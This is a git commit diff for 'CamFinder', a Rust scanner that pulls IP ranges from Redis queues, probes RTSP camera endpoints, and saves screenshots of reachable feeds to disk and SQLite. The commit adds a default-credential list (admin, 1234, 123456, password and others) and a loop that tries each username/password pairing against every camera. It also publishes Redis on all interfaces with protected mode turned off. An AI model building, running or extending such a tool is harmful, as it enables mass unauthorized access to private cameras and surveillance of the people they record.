Improved scale on redis workers
This commit is contained in:
@@ -15,5 +15,6 @@ WORKDIR /app
|
|||||||
COPY --from=builder /app/target/release/camfinder /usr/local/bin/camfinder
|
COPY --from=builder /app/target/release/camfinder /usr/local/bin/camfinder
|
||||||
COPY cidrs.txt /app/cidrs.txt
|
COPY cidrs.txt /app/cidrs.txt
|
||||||
COPY rtsp_paths.txt /app/rtsp_paths.txt
|
COPY rtsp_paths.txt /app/rtsp_paths.txt
|
||||||
|
COPY main_ids.json /app/main_ids.json
|
||||||
|
|
||||||
ENTRYPOINT ["camfinder"]
|
ENTRYPOINT ["camfinder"]
|
||||||
|
|||||||
@@ -28,14 +28,16 @@ O `docker-compose.yml` já sobe:
|
|||||||
|
|
||||||
Para o fluxo RTSP com Redis, use `docker-compose.redis-rtsp.yml`:
|
Para o fluxo RTSP com Redis, use `docker-compose.redis-rtsp.yml`:
|
||||||
|
|
||||||
- `redis` como fila.
|
- `redis` como fila. Ele publica a porta `6379`, então workers externos podem apontar `REDIS_URL` para esse host.
|
||||||
- `coordinator` para ler `camfinder-open-rtsp.csv` e alimentar a fila.
|
- `coordinator` para ler `camfinder-open-rtsp.csv` e alimentar a fila com blocos de IPs.
|
||||||
- `worker-1` e `worker-2` para consumir IPs, testar paths RTSP e salvar screenshots e SQLite.
|
- `worker-1` e `worker-2` para consumir blocos, testar paths RTSP e salvar screenshots e SQLite.
|
||||||
|
|
||||||
Para escalar workers:
|
Para escalar workers:
|
||||||
|
|
||||||
- `docker compose up --scale worker=3`
|
- `docker compose up --scale worker=3`
|
||||||
|
|
||||||
|
Para um worker em outra máquina, aponte `REDIS_URL` para o Redis do coordenador, por exemplo `redis://<host>:6379/0`, e use o mesmo `RTSP_QUEUE_NAME`.
|
||||||
|
|
||||||
Para workers de outras máquinas, use `vps.valmo.dev:666` como endereço do coordenador.
|
Para workers de outras máquinas, use `vps.valmo.dev:666` como endereço do coordenador.
|
||||||
|
|
||||||
## Scripts
|
## Scripts
|
||||||
@@ -67,6 +69,7 @@ Para workers de outras máquinas, use `vps.valmo.dev:666` como endereço do coor
|
|||||||
- `RTSP_QUEUE_NAME`
|
- `RTSP_QUEUE_NAME`
|
||||||
- `RTSP_INPUT_CSV`
|
- `RTSP_INPUT_CSV`
|
||||||
- `RTSP_WORKER_COUNT`
|
- `RTSP_WORKER_COUNT`
|
||||||
|
- `RTSP_QUEUE_BLOCK_SIZE`
|
||||||
- `RTSP_SNAPSHOT_DIR`
|
- `RTSP_SNAPSHOT_DIR`
|
||||||
- `RTSP_SQLITE_PATH`
|
- `RTSP_SQLITE_PATH`
|
||||||
- `RTSP_CAPTURE_TIMEOUT_MS`
|
- `RTSP_CAPTURE_TIMEOUT_MS`
|
||||||
@@ -74,7 +77,8 @@ Para workers de outras máquinas, use `vps.valmo.dev:666` como endereço do coor
|
|||||||
## Modo RTSP
|
## Modo RTSP
|
||||||
|
|
||||||
O modo `rtsp` monta URLs no formato `rtsp://<host>:554/<path>` e testa a conexão
|
O modo `rtsp` monta URLs no formato `rtsp://<host>:554/<path>` e testa a conexão
|
||||||
via `DESCRIBE`, sem tentar usuário, senha ou variações de autenticação.
|
via `DESCRIBE`, tentando primeiro sem auth e depois cruzando os usuários e
|
||||||
|
senhas padrão definidos em `main_ids.json`.
|
||||||
|
|
||||||
Por padrão, ele lê os paths de [rtsp_paths.txt](/home/valmo/Documents/CamFinder/rtsp_paths.txt).
|
Por padrão, ele lê os paths de [rtsp_paths.txt](/home/valmo/Documents/CamFinder/rtsp_paths.txt).
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,9 @@
|
|||||||
services:
|
services:
|
||||||
redis:
|
redis:
|
||||||
image: redis:7-alpine
|
image: redis:7-alpine
|
||||||
command: ["redis-server", "--appendonly", "yes"]
|
command: ["redis-server", "--appendonly", "yes", "--bind", "0.0.0.0", "--protected-mode", "no"]
|
||||||
|
ports:
|
||||||
|
- "6379:6379"
|
||||||
volumes:
|
volumes:
|
||||||
- camfinder-redis:/data
|
- camfinder-redis:/data
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,19 @@
|
|||||||
|
{
|
||||||
|
"usernames": [
|
||||||
|
"",
|
||||||
|
"admin"
|
||||||
|
],
|
||||||
|
"passwords" : [
|
||||||
|
"",
|
||||||
|
"admin",
|
||||||
|
"8888",
|
||||||
|
"9999",
|
||||||
|
"1234",
|
||||||
|
"12345",
|
||||||
|
"123456",
|
||||||
|
"123456789",
|
||||||
|
"1234567890",
|
||||||
|
"pass",
|
||||||
|
"password"
|
||||||
|
]
|
||||||
|
}
|
||||||
+26
-7
@@ -25,6 +25,7 @@ pub struct Config {
|
|||||||
pub redis_queue_name: String,
|
pub redis_queue_name: String,
|
||||||
pub redis_input_csv: String,
|
pub redis_input_csv: String,
|
||||||
pub redis_worker_count: usize,
|
pub redis_worker_count: usize,
|
||||||
|
pub redis_queue_block_size: usize,
|
||||||
pub snapshot_dir: PathBuf,
|
pub snapshot_dir: PathBuf,
|
||||||
pub sqlite_path: PathBuf,
|
pub sqlite_path: PathBuf,
|
||||||
pub capture_timeout_ms: u64,
|
pub capture_timeout_ms: u64,
|
||||||
@@ -65,12 +66,16 @@ impl Config {
|
|||||||
.redis_worker_count
|
.redis_worker_count
|
||||||
.or_else(|| parse_usize("RTSP_WORKER_COUNT", 2).ok())
|
.or_else(|| parse_usize("RTSP_WORKER_COUNT", 2).ok())
|
||||||
.unwrap_or(2),
|
.unwrap_or(2),
|
||||||
|
redis_queue_block_size: cli
|
||||||
|
.redis_queue_block_size
|
||||||
|
.or_else(|| parse_usize("RTSP_QUEUE_BLOCK_SIZE", 128).ok())
|
||||||
|
.unwrap_or(128),
|
||||||
snapshot_dir: cli
|
snapshot_dir: cli
|
||||||
.snapshot_dir
|
.snapshot_dir
|
||||||
.unwrap_or_else(|| PathBuf::from(read_env("RTSP_SNAPSHOT_DIR", "dump/feeds"))),
|
.unwrap_or_else(|| PathBuf::from(read_env("RTSP_SNAPSHOT_DIR", "dump/feeds"))),
|
||||||
sqlite_path: cli
|
sqlite_path: cli.sqlite_path.unwrap_or_else(|| {
|
||||||
.sqlite_path
|
PathBuf::from(read_env("RTSP_SQLITE_PATH", "dump/rtsp-results.sqlite"))
|
||||||
.unwrap_or_else(|| PathBuf::from(read_env("RTSP_SQLITE_PATH", "dump/rtsp-results.sqlite"))),
|
}),
|
||||||
capture_timeout_ms: cli
|
capture_timeout_ms: cli
|
||||||
.capture_timeout_ms
|
.capture_timeout_ms
|
||||||
.or_else(|| parse_u64("RTSP_CAPTURE_TIMEOUT_MS", 15000).ok())
|
.or_else(|| parse_u64("RTSP_CAPTURE_TIMEOUT_MS", 15000).ok())
|
||||||
@@ -116,6 +121,7 @@ struct CliArgs {
|
|||||||
redis_queue_name: Option<String>,
|
redis_queue_name: Option<String>,
|
||||||
redis_input_csv: Option<String>,
|
redis_input_csv: Option<String>,
|
||||||
redis_worker_count: Option<usize>,
|
redis_worker_count: Option<usize>,
|
||||||
|
redis_queue_block_size: Option<usize>,
|
||||||
snapshot_dir: Option<PathBuf>,
|
snapshot_dir: Option<PathBuf>,
|
||||||
sqlite_path: Option<PathBuf>,
|
sqlite_path: Option<PathBuf>,
|
||||||
capture_timeout_ms: Option<u64>,
|
capture_timeout_ms: Option<u64>,
|
||||||
@@ -177,13 +183,26 @@ impl CliArgs {
|
|||||||
"--worker-count",
|
"--worker-count",
|
||||||
)?)?);
|
)?)?);
|
||||||
}
|
}
|
||||||
|
"--queue-block-size" => {
|
||||||
|
cli.redis_queue_block_size = Some(parse_usize_literal(&next_value(
|
||||||
|
args,
|
||||||
|
&mut index,
|
||||||
|
"--queue-block-size",
|
||||||
|
)?)?);
|
||||||
|
}
|
||||||
"--snapshot-dir" => {
|
"--snapshot-dir" => {
|
||||||
cli.snapshot_dir =
|
cli.snapshot_dir = Some(PathBuf::from(next_value(
|
||||||
Some(PathBuf::from(next_value(args, &mut index, "--snapshot-dir")?));
|
args,
|
||||||
|
&mut index,
|
||||||
|
"--snapshot-dir",
|
||||||
|
)?));
|
||||||
}
|
}
|
||||||
"--sqlite-path" => {
|
"--sqlite-path" => {
|
||||||
cli.sqlite_path =
|
cli.sqlite_path = Some(PathBuf::from(next_value(
|
||||||
Some(PathBuf::from(next_value(args, &mut index, "--sqlite-path")?));
|
args,
|
||||||
|
&mut index,
|
||||||
|
"--sqlite-path",
|
||||||
|
)?));
|
||||||
}
|
}
|
||||||
"--capture-timeout-ms" => {
|
"--capture-timeout-ms" => {
|
||||||
cli.capture_timeout_ms = Some(parse_u64_literal(&next_value(
|
cli.capture_timeout_ms = Some(parse_u64_literal(&next_value(
|
||||||
|
|||||||
+1
-1
@@ -3,8 +3,8 @@ mod coordinator;
|
|||||||
mod db;
|
mod db;
|
||||||
mod ip;
|
mod ip;
|
||||||
mod models;
|
mod models;
|
||||||
mod rtsp;
|
|
||||||
mod redis_rtsp;
|
mod redis_rtsp;
|
||||||
|
mod rtsp;
|
||||||
mod scan;
|
mod scan;
|
||||||
mod terminal;
|
mod terminal;
|
||||||
mod worker;
|
mod worker;
|
||||||
|
|||||||
+439
-77
@@ -4,6 +4,8 @@ use crate::{
|
|||||||
};
|
};
|
||||||
use anyhow::{anyhow, Context, Result};
|
use anyhow::{anyhow, Context, Result};
|
||||||
use std::{
|
use std::{
|
||||||
|
collections::HashSet,
|
||||||
|
fmt::Write as _,
|
||||||
fs,
|
fs,
|
||||||
path::{Path, PathBuf},
|
path::{Path, PathBuf},
|
||||||
sync::atomic::{AtomicBool, Ordering},
|
sync::atomic::{AtomicBool, Ordering},
|
||||||
@@ -38,6 +40,7 @@ pub async fn run_redis_coordinator(
|
|||||||
&config.redis_url,
|
&config.redis_url,
|
||||||
&config.redis_queue_name,
|
&config.redis_queue_name,
|
||||||
&ips,
|
&ips,
|
||||||
|
config.redis_queue_block_size.max(1),
|
||||||
config.redis_worker_count.max(1),
|
config.redis_worker_count.max(1),
|
||||||
)
|
)
|
||||||
.await?;
|
.await?;
|
||||||
@@ -76,10 +79,12 @@ pub async fn run_redis_worker(
|
|||||||
let mut processed = 0usize;
|
let mut processed = 0usize;
|
||||||
let mut captured = 0usize;
|
let mut captured = 0usize;
|
||||||
let paths = normalize_paths(&config.rtsp_paths);
|
let paths = normalize_paths(&config.rtsp_paths);
|
||||||
|
let credentials = load_rtsp_credentials(Path::new("main_ids.json"))?;
|
||||||
|
|
||||||
println!(
|
println!(
|
||||||
"worker pronto para {} paths em {}",
|
"worker pronto para {} paths, {} credenciais e fila {}",
|
||||||
paths.len(),
|
paths.len(),
|
||||||
|
credentials.len(),
|
||||||
config.redis_queue_name
|
config.redis_queue_name
|
||||||
);
|
);
|
||||||
|
|
||||||
@@ -90,62 +95,94 @@ pub async fn run_redis_worker(
|
|||||||
|
|
||||||
match pop_queue_item(&config.redis_url, &config.redis_queue_name).await? {
|
match pop_queue_item(&config.redis_url, &config.redis_queue_name).await? {
|
||||||
Some(item) if item == DEFAULT_SENTINEL => break,
|
Some(item) if item == DEFAULT_SENTINEL => break,
|
||||||
Some(ip) => {
|
Some(block) => {
|
||||||
for rtsp_path in &paths {
|
for ip in parse_ip_block(&block) {
|
||||||
if interrupted.load(Ordering::SeqCst) {
|
for rtsp_path in &paths {
|
||||||
break;
|
if interrupted.load(Ordering::SeqCst) {
|
||||||
}
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
let attempt = build_rtsp_url(&ip, config.port, &rtsp_path);
|
let mut path_captured = false;
|
||||||
let checked_at = timestamp_millis();
|
|
||||||
let probe = probe_rtsp(&attempt, config.capture_timeout_ms).await;
|
|
||||||
|
|
||||||
let (status, screenshot_path, error) = if probe.is_connectable() {
|
for credential in &credentials {
|
||||||
let output_path =
|
if interrupted.load(Ordering::SeqCst) {
|
||||||
build_snapshot_path(&config.snapshot_dir, &ip, &rtsp_path, checked_at);
|
break;
|
||||||
let outcome = capture_feed(&attempt, &output_path, config.capture_timeout_ms)
|
|
||||||
.await;
|
|
||||||
|
|
||||||
match outcome {
|
|
||||||
Ok(()) => {
|
|
||||||
captured += 1;
|
|
||||||
(
|
|
||||||
"captured".to_string(),
|
|
||||||
Some(output_path.to_string_lossy().to_string()),
|
|
||||||
None,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
Err(err) => {
|
|
||||||
let _ = fs::remove_file(&output_path);
|
let attempt = build_rtsp_url(
|
||||||
("failed".to_string(), None, Some(err.to_string()))
|
&ip,
|
||||||
|
config.port,
|
||||||
|
&rtsp_path,
|
||||||
|
credential.username.as_deref(),
|
||||||
|
credential.password.as_deref(),
|
||||||
|
);
|
||||||
|
let checked_at = timestamp_millis();
|
||||||
|
let probe = probe_rtsp(&attempt, config.capture_timeout_ms).await;
|
||||||
|
|
||||||
|
let (status, screenshot_path, error, attempt_captured) = if probe
|
||||||
|
.is_connectable()
|
||||||
|
{
|
||||||
|
let output_path = build_snapshot_path(
|
||||||
|
&config.snapshot_dir,
|
||||||
|
&ip,
|
||||||
|
&rtsp_path,
|
||||||
|
checked_at,
|
||||||
|
);
|
||||||
|
let outcome =
|
||||||
|
capture_feed(&attempt, &output_path, config.capture_timeout_ms)
|
||||||
|
.await;
|
||||||
|
|
||||||
|
match outcome {
|
||||||
|
Ok(()) => (
|
||||||
|
"captured".to_string(),
|
||||||
|
Some(output_path.to_string_lossy().to_string()),
|
||||||
|
None,
|
||||||
|
true,
|
||||||
|
),
|
||||||
|
Err(err) => {
|
||||||
|
let _ = fs::remove_file(&output_path);
|
||||||
|
("failed".to_string(), None, Some(err.to_string()), false)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
(
|
||||||
|
probe.status,
|
||||||
|
None,
|
||||||
|
probe.error.map(|error| error.to_string()),
|
||||||
|
false,
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
insert_sqlite_result(
|
||||||
|
&config.sqlite_path,
|
||||||
|
checked_at,
|
||||||
|
&ip,
|
||||||
|
&rtsp_path,
|
||||||
|
&attempt,
|
||||||
|
status,
|
||||||
|
screenshot_path.as_deref(),
|
||||||
|
error.as_deref(),
|
||||||
|
)
|
||||||
|
.await?;
|
||||||
|
|
||||||
|
processed += 1;
|
||||||
|
println!(
|
||||||
|
"{} -> {}",
|
||||||
|
redact_rtsp_url(&attempt),
|
||||||
|
screenshot_path.unwrap_or_else(|| "sem imagem".to_string())
|
||||||
|
);
|
||||||
|
|
||||||
|
if attempt_captured {
|
||||||
|
captured += 1;
|
||||||
|
path_captured = true;
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else {
|
|
||||||
(
|
|
||||||
probe.status,
|
|
||||||
None,
|
|
||||||
probe.error.map(|error| error.to_string()),
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
insert_sqlite_result(
|
if path_captured {
|
||||||
&config.sqlite_path,
|
continue;
|
||||||
checked_at,
|
}
|
||||||
&ip,
|
}
|
||||||
&rtsp_path,
|
|
||||||
&attempt,
|
|
||||||
status,
|
|
||||||
screenshot_path.as_deref(),
|
|
||||||
error.as_deref(),
|
|
||||||
)
|
|
||||||
.await?;
|
|
||||||
|
|
||||||
processed += 1;
|
|
||||||
println!(
|
|
||||||
"{} -> {}",
|
|
||||||
attempt,
|
|
||||||
screenshot_path.unwrap_or_else(|| "sem imagem".to_string())
|
|
||||||
);
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
None => {
|
None => {
|
||||||
@@ -195,12 +232,11 @@ async fn capture_feed(url: &str, output_path: &Path, timeout_ms: u64) -> Result<
|
|||||||
.arg("-y")
|
.arg("-y")
|
||||||
.arg(output_path.as_os_str());
|
.arg(output_path.as_os_str());
|
||||||
|
|
||||||
let output = timeout(
|
let output = timeout(Duration::from_millis(timeout_ms), async {
|
||||||
Duration::from_millis(timeout_ms),
|
command.output().await
|
||||||
async { command.output().await },
|
})
|
||||||
)
|
|
||||||
.await
|
.await
|
||||||
.map_err(|_| anyhow!("ffmpeg timeout for {url}"))??;
|
.map_err(|_| anyhow!("ffmpeg timeout for {}", redact_rtsp_url(url)))??;
|
||||||
|
|
||||||
if output.status.success() {
|
if output.status.success() {
|
||||||
return Ok(());
|
return Ok(());
|
||||||
@@ -211,7 +247,8 @@ async fn capture_feed(url: &str, output_path: &Path, timeout_ms: u64) -> Result<
|
|||||||
let _ = fs::remove_file(output_path);
|
let _ = fs::remove_file(output_path);
|
||||||
}
|
}
|
||||||
Err(anyhow!(
|
Err(anyhow!(
|
||||||
"ffmpeg failed for {url}: {}",
|
"ffmpeg failed for {}: {}",
|
||||||
|
redact_rtsp_url(url),
|
||||||
if stderr.is_empty() {
|
if stderr.is_empty() {
|
||||||
"sem stderr".to_string()
|
"sem stderr".to_string()
|
||||||
} else {
|
} else {
|
||||||
@@ -269,11 +306,7 @@ async fn probe_rtsp(url: &str, timeout_ms: u64) -> RtspProbe {
|
|||||||
}
|
}
|
||||||
|
|
||||||
let mut buf = vec![0u8; 1024];
|
let mut buf = vec![0u8; 1024];
|
||||||
let read_result = timeout(
|
let read_result = timeout(Duration::from_millis(timeout_ms), stream.read(&mut buf)).await;
|
||||||
Duration::from_millis(timeout_ms),
|
|
||||||
stream.read(&mut buf),
|
|
||||||
)
|
|
||||||
.await;
|
|
||||||
|
|
||||||
let bytes_read = match read_result {
|
let bytes_read = match read_result {
|
||||||
Ok(Ok(0)) => {
|
Ok(Ok(0)) => {
|
||||||
@@ -357,7 +390,11 @@ fn parse_rtsp_status(response: &[u8]) -> Result<Option<u16>> {
|
|||||||
fn extract_host(url: &str) -> String {
|
fn extract_host(url: &str) -> String {
|
||||||
let rest = url.strip_prefix("rtsp://").unwrap_or(url);
|
let rest = url.strip_prefix("rtsp://").unwrap_or(url);
|
||||||
let authority = rest.split('/').next().unwrap_or(rest);
|
let authority = rest.split('/').next().unwrap_or(rest);
|
||||||
authority.to_string()
|
authority
|
||||||
|
.rsplit_once('@')
|
||||||
|
.map(|(_, host)| host)
|
||||||
|
.unwrap_or(authority)
|
||||||
|
.to_string()
|
||||||
}
|
}
|
||||||
|
|
||||||
async fn pop_queue_item(redis_url: &str, queue_name: &str) -> Result<Option<String>> {
|
async fn pop_queue_item(redis_url: &str, queue_name: &str) -> Result<Option<String>> {
|
||||||
@@ -388,13 +425,14 @@ async fn enqueue_ips(
|
|||||||
redis_url: &str,
|
redis_url: &str,
|
||||||
queue_name: &str,
|
queue_name: &str,
|
||||||
ips: &[String],
|
ips: &[String],
|
||||||
|
block_size: usize,
|
||||||
worker_count: usize,
|
worker_count: usize,
|
||||||
) -> Result<()> {
|
) -> Result<()> {
|
||||||
for chunk in ips.chunks(400) {
|
for chunk in ips.chunks(block_size.max(1)) {
|
||||||
let mut args = Vec::with_capacity(chunk.len() + 2);
|
let mut args = Vec::with_capacity(chunk.len() + 2);
|
||||||
args.push("RPUSH".to_string());
|
args.push("RPUSH".to_string());
|
||||||
args.push(queue_name.to_string());
|
args.push(queue_name.to_string());
|
||||||
args.extend(chunk.iter().cloned());
|
args.push(chunk.join("\n"));
|
||||||
let args_ref = args.iter().map(String::as_str).collect::<Vec<_>>();
|
let args_ref = args.iter().map(String::as_str).collect::<Vec<_>>();
|
||||||
let _ = redis_cli(redis_url, &args_ref).await?;
|
let _ = redis_cli(redis_url, &args_ref).await?;
|
||||||
}
|
}
|
||||||
@@ -408,6 +446,18 @@ async fn enqueue_ips(
|
|||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
|
fn parse_ip_block(block: &str) -> Vec<String> {
|
||||||
|
block
|
||||||
|
.lines()
|
||||||
|
.map(str::trim)
|
||||||
|
.filter(|line| !line.is_empty() && !line.starts_with('#'))
|
||||||
|
.map(strip_quotes)
|
||||||
|
.filter(|line| !line.is_empty())
|
||||||
|
.filter(|line| !is_header(line))
|
||||||
|
.map(ToString::to_string)
|
||||||
|
.collect()
|
||||||
|
}
|
||||||
|
|
||||||
async fn redis_cli(redis_url: &str, args: &[&str]) -> Result<String> {
|
async fn redis_cli(redis_url: &str, args: &[&str]) -> Result<String> {
|
||||||
let mut command = Command::new("redis-cli");
|
let mut command = Command::new("redis-cli");
|
||||||
command.kill_on_drop(true).arg("-u").arg(redis_url);
|
command.kill_on_drop(true).arg("-u").arg(redis_url);
|
||||||
@@ -474,14 +524,11 @@ async fn insert_sqlite_result(
|
|||||||
}
|
}
|
||||||
|
|
||||||
async fn sqlite_exec(sqlite_path: &Path, sql: &str) -> Result<()> {
|
async fn sqlite_exec(sqlite_path: &Path, sql: &str) -> Result<()> {
|
||||||
let output = timeout(
|
let output = timeout(Duration::from_secs(20), async {
|
||||||
Duration::from_secs(20),
|
let mut command = Command::new("sqlite3");
|
||||||
async {
|
command.kill_on_drop(true).arg(sqlite_path).arg(sql);
|
||||||
let mut command = Command::new("sqlite3");
|
command.output().await
|
||||||
command.kill_on_drop(true).arg(sqlite_path).arg(sql);
|
})
|
||||||
command.output().await
|
|
||||||
},
|
|
||||||
)
|
|
||||||
.await
|
.await
|
||||||
.context("sqlite3 timeout")??;
|
.context("sqlite3 timeout")??;
|
||||||
|
|
||||||
@@ -501,8 +548,8 @@ async fn sqlite_exec(sqlite_path: &Path, sql: &str) -> Result<()> {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fn load_ip_list(input: &str) -> Result<Vec<String>> {
|
fn load_ip_list(input: &str) -> Result<Vec<String>> {
|
||||||
let content = fs::read_to_string(input)
|
let content =
|
||||||
.with_context(|| format!("failed to read input CSV {input}"))?;
|
fs::read_to_string(input).with_context(|| format!("failed to read input CSV {input}"))?;
|
||||||
let mut ips = Vec::new();
|
let mut ips = Vec::new();
|
||||||
|
|
||||||
for line in content.lines() {
|
for line in content.lines() {
|
||||||
@@ -539,8 +586,15 @@ fn normalize_paths(paths: &[String]) -> Vec<String> {
|
|||||||
.collect()
|
.collect()
|
||||||
}
|
}
|
||||||
|
|
||||||
fn build_rtsp_url(ip: &str, port: u16, path: &str) -> String {
|
fn build_rtsp_url(
|
||||||
format!("rtsp://{ip}:{port}{path}")
|
ip: &str,
|
||||||
|
port: u16,
|
||||||
|
path: &str,
|
||||||
|
username: Option<&str>,
|
||||||
|
password: Option<&str>,
|
||||||
|
) -> String {
|
||||||
|
let auth = build_rtsp_auth_prefix(username, password);
|
||||||
|
format!("rtsp://{auth}{ip}:{port}{path}")
|
||||||
}
|
}
|
||||||
|
|
||||||
fn build_snapshot_path(base_dir: &Path, ip: &str, rtsp_path: &str, checked_at: i64) -> PathBuf {
|
fn build_snapshot_path(base_dir: &Path, ip: &str, rtsp_path: &str, checked_at: i64) -> PathBuf {
|
||||||
@@ -599,9 +653,317 @@ fn sanitize_component(value: &str) -> String {
|
|||||||
.collect()
|
.collect()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Eq, PartialEq, Hash)]
|
||||||
|
struct RtspCredential {
|
||||||
|
username: Option<String>,
|
||||||
|
password: Option<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl RtspCredential {
|
||||||
|
fn anonymous() -> Self {
|
||||||
|
Self {
|
||||||
|
username: None,
|
||||||
|
password: None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn from_parts(username: Option<&str>, password: Option<&str>) -> Self {
|
||||||
|
Self {
|
||||||
|
username: username
|
||||||
|
.map(str::trim)
|
||||||
|
.filter(|value| !value.is_empty())
|
||||||
|
.map(ToString::to_string),
|
||||||
|
password: password
|
||||||
|
.map(str::trim)
|
||||||
|
.filter(|value| !value.is_empty())
|
||||||
|
.map(ToString::to_string),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn load_rtsp_credentials(path: &Path) -> Result<Vec<RtspCredential>> {
|
||||||
|
let content = fs::read_to_string(path)
|
||||||
|
.with_context(|| format!("failed to read RTSP credential file {}", path.display()))?;
|
||||||
|
let usernames = parse_json_string_array(&content, "usernames")?;
|
||||||
|
let passwords = parse_json_string_array(&content, "passwords")?;
|
||||||
|
Ok(build_rtsp_credentials(&usernames, &passwords))
|
||||||
|
}
|
||||||
|
|
||||||
|
fn build_rtsp_credentials(usernames: &[String], passwords: &[String]) -> Vec<RtspCredential> {
|
||||||
|
let mut credentials = Vec::new();
|
||||||
|
let mut seen = HashSet::new();
|
||||||
|
|
||||||
|
push_credential(&mut credentials, &mut seen, RtspCredential::anonymous());
|
||||||
|
|
||||||
|
for username in usernames.iter().filter(|value| !value.trim().is_empty()) {
|
||||||
|
push_credential(
|
||||||
|
&mut credentials,
|
||||||
|
&mut seen,
|
||||||
|
RtspCredential::from_parts(Some(username), None),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
for password in passwords.iter().filter(|value| !value.trim().is_empty()) {
|
||||||
|
push_credential(
|
||||||
|
&mut credentials,
|
||||||
|
&mut seen,
|
||||||
|
RtspCredential::from_parts(None, Some(password)),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
for username in usernames.iter().filter(|value| !value.trim().is_empty()) {
|
||||||
|
for password in passwords.iter().filter(|value| !value.trim().is_empty()) {
|
||||||
|
push_credential(
|
||||||
|
&mut credentials,
|
||||||
|
&mut seen,
|
||||||
|
RtspCredential::from_parts(Some(username), Some(password)),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
credentials
|
||||||
|
}
|
||||||
|
|
||||||
|
fn push_credential(
|
||||||
|
credentials: &mut Vec<RtspCredential>,
|
||||||
|
seen: &mut HashSet<RtspCredential>,
|
||||||
|
credential: RtspCredential,
|
||||||
|
) {
|
||||||
|
if seen.insert(credential.clone()) {
|
||||||
|
credentials.push(credential);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn parse_json_string_array(input: &str, key: &str) -> Result<Vec<String>> {
|
||||||
|
let marker = format!("\"{key}\"");
|
||||||
|
let Some(key_pos) = input.find(&marker) else {
|
||||||
|
return Err(anyhow!("missing {key} field in RTSP credential file"));
|
||||||
|
};
|
||||||
|
|
||||||
|
let after_key = &input[key_pos + marker.len()..];
|
||||||
|
let Some(array_start) = after_key.find('[') else {
|
||||||
|
return Err(anyhow!("missing {key} array in RTSP credential file"));
|
||||||
|
};
|
||||||
|
|
||||||
|
let array_start = key_pos + marker.len() + array_start;
|
||||||
|
let array_end = find_matching_bracket(input, array_start)?;
|
||||||
|
let array_body = &input[array_start + 1..array_end];
|
||||||
|
parse_json_string_values(array_body)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn find_matching_bracket(input: &str, open_index: usize) -> Result<usize> {
|
||||||
|
let mut in_string = false;
|
||||||
|
let mut escape = false;
|
||||||
|
|
||||||
|
for (index, ch) in input[open_index..].char_indices() {
|
||||||
|
let index = open_index + index;
|
||||||
|
if escape {
|
||||||
|
escape = false;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
match ch {
|
||||||
|
'\\' if in_string => escape = true,
|
||||||
|
'"' => in_string = !in_string,
|
||||||
|
'[' if !in_string => {}
|
||||||
|
']' if !in_string => return Ok(index),
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Err(anyhow!("unterminated JSON array in RTSP credential file"))
|
||||||
|
}
|
||||||
|
|
||||||
|
fn parse_json_string_values(input: &str) -> Result<Vec<String>> {
|
||||||
|
let mut values = Vec::new();
|
||||||
|
let mut index = 0;
|
||||||
|
let bytes = input.as_bytes();
|
||||||
|
|
||||||
|
while index < bytes.len() {
|
||||||
|
skip_json_whitespace(input, &mut index);
|
||||||
|
if index >= bytes.len() {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
if bytes[index] == b',' {
|
||||||
|
index += 1;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if bytes[index] != b'"' {
|
||||||
|
return Err(anyhow!("expected JSON string in RTSP credential file"));
|
||||||
|
}
|
||||||
|
|
||||||
|
index += 1;
|
||||||
|
let mut value = String::new();
|
||||||
|
while index < bytes.len() {
|
||||||
|
let ch = input[index..]
|
||||||
|
.chars()
|
||||||
|
.next()
|
||||||
|
.ok_or_else(|| anyhow!("invalid UTF-8 in RTSP credential file"))?;
|
||||||
|
index += ch.len_utf8();
|
||||||
|
|
||||||
|
match ch {
|
||||||
|
'"' => break,
|
||||||
|
'\\' => {
|
||||||
|
let esc = input[index..]
|
||||||
|
.chars()
|
||||||
|
.next()
|
||||||
|
.ok_or_else(|| anyhow!("unterminated escape in RTSP credential file"))?;
|
||||||
|
index += esc.len_utf8();
|
||||||
|
match esc {
|
||||||
|
'"' | '\\' | '/' => value.push(esc),
|
||||||
|
'b' => value.push('\u{0008}'),
|
||||||
|
'f' => value.push('\u{000C}'),
|
||||||
|
'n' => value.push('\n'),
|
||||||
|
'r' => value.push('\r'),
|
||||||
|
't' => value.push('\t'),
|
||||||
|
other => {
|
||||||
|
return Err(anyhow!(
|
||||||
|
"unsupported JSON escape \\{other} in RTSP credential file"
|
||||||
|
));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
other => value.push(other),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
values.push(value);
|
||||||
|
skip_json_whitespace(input, &mut index);
|
||||||
|
if index < bytes.len() && bytes[index] == b',' {
|
||||||
|
index += 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(values)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn skip_json_whitespace(input: &str, index: &mut usize) {
|
||||||
|
let bytes = input.as_bytes();
|
||||||
|
while *index < bytes.len() && bytes[*index].is_ascii_whitespace() {
|
||||||
|
*index += 1;
|
||||||
